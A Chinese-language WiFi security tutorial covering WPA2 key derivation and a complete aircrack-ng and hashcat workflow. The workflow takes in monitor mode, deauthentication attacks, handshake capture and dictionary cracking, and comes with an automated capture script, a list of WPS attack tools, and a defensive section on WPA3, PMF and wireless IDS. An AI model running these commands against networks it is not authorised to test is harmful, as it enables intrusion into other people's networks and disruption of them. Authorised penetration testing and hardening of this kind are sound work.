无线网络攻防的第一道防线
WiFi(IEEE 802.11)是现代最普及的无线网络技术,也是攻击者最常瞄准的目标之一。从WEP的彻底破解,到WPA/WPA2的四次握手漏洞,再到WPA3的Dragonblood攻击,WiFi安全经历了漫长的攻防博弈。
| 协议 | 加密 | 认证 | 安全等级 |
|---|---|---|---|
| WEP | RC4 | 开放/共享密钥 | ❌ 已破解 |
| WPA-TKIP | RC4+MIC | PSK | ⚠️ 弱 |
| WPA2-PSK | AES-CCMP | 四次握手 | ✅ 较强(注意握手泄露) |
| WPA2-Enterprise | AES-CCMP | 802.1X/EAP | ✅ 强 |
| WPA3-SAE | AES-CCMP | 同步认证等价 | ✅ 最强 |
WPA2-PSK的核心是四次握手(4-Way Handshake),它用于在AP(接入点)和客户端之间派生加密密钥。握手包中包含了足够的信息来离线暴力破解预共享密钥(PSK)。
# WPA2密钥派生过程
PMK (Pairwise Master Key)
= PBKDF2-SHA1(password, SSID, 4096 iterations, 256 bits)
↑ 这是计算瓶颈——每次尝试密码都要重新算
PTK (Pairwise Transit Key)
= PRF-512(PMK, "Pairwise key expansion",
Min(ANonce,SNonce) || Max(ANonce,SNonce) ||
Min(MAC_AP,MAC_CLI) || Max(MAC_AP,MAC_CLI))
↑ 握手包中的数据直接构造PTK
MIC (Message Integrity Code)
= HMAC-SHA1-128(PTK[KCK], 802.11帧)
↑ 用MIC验证密码是否正确
以下使用Aircrack-ng套件演示WPA2握手包的完整捕获流程。仅在授权环境下操作!
# 查看无线网卡
iwconfig
# 输出: wlan0 IEEE 802.11 ESSID:off/any
# 杀掉可能干扰的进程
sudo airmon-ng check kill
# 启用监听模式
sudo airmon-ng start wlan0
# 输出: wlan0mon 已启用监听模式
# 验证监听模式
iwconfig wlan0mon
# Mode:Monitor Frequency:2.412 GHz
# 扫描周围WiFi
sudo airodump-ng wlan0mon
# 输出示例:
# BSSID PWR Beacons CH ENC ESSID
# AA:BB:CC:DD:EE:FF -42 128 6 WPA2 MyHomeWiFi
# 11:22:33:44:55:66 -67 64 1 WPA2 CoffeeShop
# 77:88:99:AA:BB:CC -78 32 11 WPA OldRouter
# 锁定目标AP,监听特定信道
sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF \
--channel 6 \
--write handshake_capture \
wlan0mon
# 输出:
# CH 6 ][ Elapsed: 2 min ][ WPA handshake: AA:BB:CC:DD:EE:FF
# ^^^^^^^^^^^^^^^^^^^^
# 握手包已捕获!
# 如果没有客户端自动连接,发送解除认证帧强制重连
sudo aireplay-ng --deauth 5 \
--bssid AA:BB:CC:DD:EE:FF \
-c FF:11:22:33:44:55 \ # 客户端MAC(可选,不指定则广播)
wlan0mon
# 输出:
# 17:32:45 Sending DeAuth to station -- STMAC [FF:11:22:33:44:55]
# 17:32:45 Sending DeAuth to station -- STMAC [FF:11:22:33:44:55]
# ...
# 回到airodump-ng,右上角应出现 WPA handshake 标识
# 使用aircrack-ng验证捕获的握手包
aircrack-ng handshake_capture-01.cap
# 输出:
# Opening handshake_capture-01.cap
# Read 4827 packets.
#
# # BSSID ESSID Encryption
# 1 AA:BB:CC:DD:EE:FF MyHomeWiFi WPA (1 handshake)
#
# 1 handshake captured! ✓
# 使用aircrack-ng + 字典
aircrack-ng -w /usr/share/wordlists/rockyou.txt \
handshake_capture-01.cap
# 输出:
# Aircrack-ng 1.7
# [00:03:42] 847263/14344399 keys tested (3742.18 k/s)
#
# KEY FOUND! [ MyP@ssw0rd123 ]
#
# Master Key : 7A 8B 9C ... (32 bytes)
# Transient Key : 1A 2B 3C ... (64 bytes)
# 将pcap转为hashcat格式
hcxpcapngtool -o hash.hc22000 handshake_capture-01.cap
# 使用Hashcat mode 22000 (WPA-PBKDF2)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
# 或使用mode 22001 (WPA-PMK) 如果有预计算PMK表
hashcat -m 22001 hash.hc22000 pmk_table.txt
# GPU加速:RTX 4090 可达 ~2MH/s (WPA-PBKDF2)
| 破解方式 | 速度 | 适用场景 |
|---|---|---|
| aircrack-ng (CPU) | ~3-5 kH/s | 弱密码测试 |
| hashcat (GPU) | ~1-2 MH/s | 中等强度密码 |
| hashcat + 规则 | ~800 kH/s | 变异密码(数字+符号) |
| PMK预计算表 | ~100 MH/s | 特定SSID彩虹表 |
# 1. 使用WPA3(如果设备支持)
# 路由器管理界面 → 无线安全 → WPA3-Personal
# 2. WPA2下的最佳实践
# - 密码长度 ≥ 16字符(抵御字典攻击)
# - 包含大小写+数字+特殊字符
# - 定期更换密码
# 3. 禁用WPS
# WPS PIN可被Reaver在4-10小时内破解
# 路由器管理界面 → WPS → 禁用
# 4. 隐藏SSID(增加发现难度,不增加安全性)
# 注意:隐藏SSID不影响已连接设备,但新设备需手动输入
# 5. MAC地址过滤(基础防护,易绕过)
# 仅允许已知MAC地址连接
# 1. 部署WPA2/WPA3-Enterprise (802.1X)
# 使用RADIUS服务器认证,无需共享PSK
# 2. 无线IDS/IPS
# 部署WIDS检测:
# - 未经授权的AP
# - Deauth泛洪
# - Evil Twin
# - 异常信道变化
# 3. 启用管理帧保护 (PMF/MFP)
# 802.11w标准,保护Deauth/Disassociation帧
# 防止Deauth攻击
# 4. 网络分段
# WiFi网络与内网隔离
# 使用VLAN分离不同安全级别的设备
# hostapd配置启用PMF
# /etc/hostapd/hostapd.conf
ieee80211w=2 # 2=强制PMF, 1=可选, 0=禁用
wpa=2
wpa_key_mgmt=WPA-PSK WPA-PSK-SHA256
rsn_pairwise=CCMP
| 工具 | 功能 | 安装 |
|---|---|---|
| aircrack-ng | 完整WiFi安全套件 | apt install aircrack-ng |
| hcxdumptool | 主动抓包,比airodump更强 | apt install hcxdumptool |
| hcxtools | 转换抓包格式 | apt install hcxtools |
| hashcat | GPU加速密码破解 | apt install hashcat |
| wifite2 | 自动化WiFi渗透 | apt install wifite |
| bully | WPS PIN暴力破解 | apt install bully |
| reaver | WPS Pixie Dust攻击 | apt install reaver |
| kismet | 无线IDS/抓包 | apt install kismet |
| horst | 无线网络分析 | apt install horst |
#!/bin/bash
# wifi-audit.sh - 自动化WiFi安全审计脚本
# 仅用于授权测试!
INTERFACE="wlan0"
DURATION=300 # 监听时长(秒)
WORDLIST="/usr/share/wordlists/rockyou.txt"
echo "[*] WiFi安全审计工具 v1.0"
echo "[*] 目标接口: $INTERFACE"
# 1. 启用监听模式
echo "[+] 启用监听模式..."
airmon-ng check kill
airmon-ng start $INTERFACE
MON_IF="${INTERFACE}mon"
# 2. 扫描5秒获取目标列表
echo "[+] 扫描周围网络..."
timeout 5 airodump-ng -w /tmp/scan $MON_IF &>/dev/null
# 3. 用户选择目标
echo "[*] 扫描完成,查看 /tmp/scan-01.csv 选择目标"
echo -n "输入目标BSSID: "
read BSSID
echo -n "输入目标信道: "
read CHANNEL
echo -n "输入保存文件名: "
read OUTFILE
# 4. 捕获握手包
echo "[+] 在信道 $CHANNEL 捕获握手包..."
airodump-ng --bssid "$BSSID" --channel "$CHANNEL" \
-w "$OUTFILE" $MON_IF &
AIRODUMP_PID=$!
# 5. 等待或发送deauth
sleep 10
echo "[+] 发送deauth帧加速握手..."
aireplay-ng --deauth 3 --bssid "$BSSID" $MON_IF
# 6. 等待捕获
echo "[+] 等待 $DURATION 秒..."
sleep $DURATION
kill $AIRODUMP_PID 2>/dev/null
# 7. 验证
echo "[+] 验证握手包..."
aircrack-ng "${OUTFILE}-01.cap" | grep "handshake"
# 8. 清理
airmon-ng stop $MON_IF
systemctl restart NetworkManager
echo "[*] 审计完成!"
Key Reinstallation Attack由Mathy Vanhoef发现,通过重放握手Msg3/Msg4,迫使客户端重用已知的PTK nonce,从而:
# KRACK攻击核心原理:
# 正常: Msg3 → 客户端安装PTK(nonce=0) → Msg4
# 攻击: Msg3 → 客户端安装PTK(nonce=0) → 重放Msg3 → 客户端重装PTK(nonce=0)!
# ↑ nonce被重置!
# 修复: 客户端只接受nonce递增的握手帧
# 所有现代OS/设备已修复,但部分IoT设备仍未更新
WPA3使用SAE(Simultaneous Authentication of Equals)替代PSK四次握手,提供前向安全性。但2019年的Dragonblood攻击发现了以下漏洞:
# WPA3 SAE vs WPA2 PSK
# WPA2-PSK: 单向认证,离线字典攻击可行
# WPA3-SAE: 互认证,离线攻击不可行(抗主动攻击者)
# WPA3安全配置建议:
# 1. 确保路由器固件已修复Dragonblood
# 2. 启用WPA3-only模式(不允许WPA2回退)
# 3. 使用Transition Mode时注意降级攻击风险
# 4. 密码仍需足够复杂(抗在线猜测)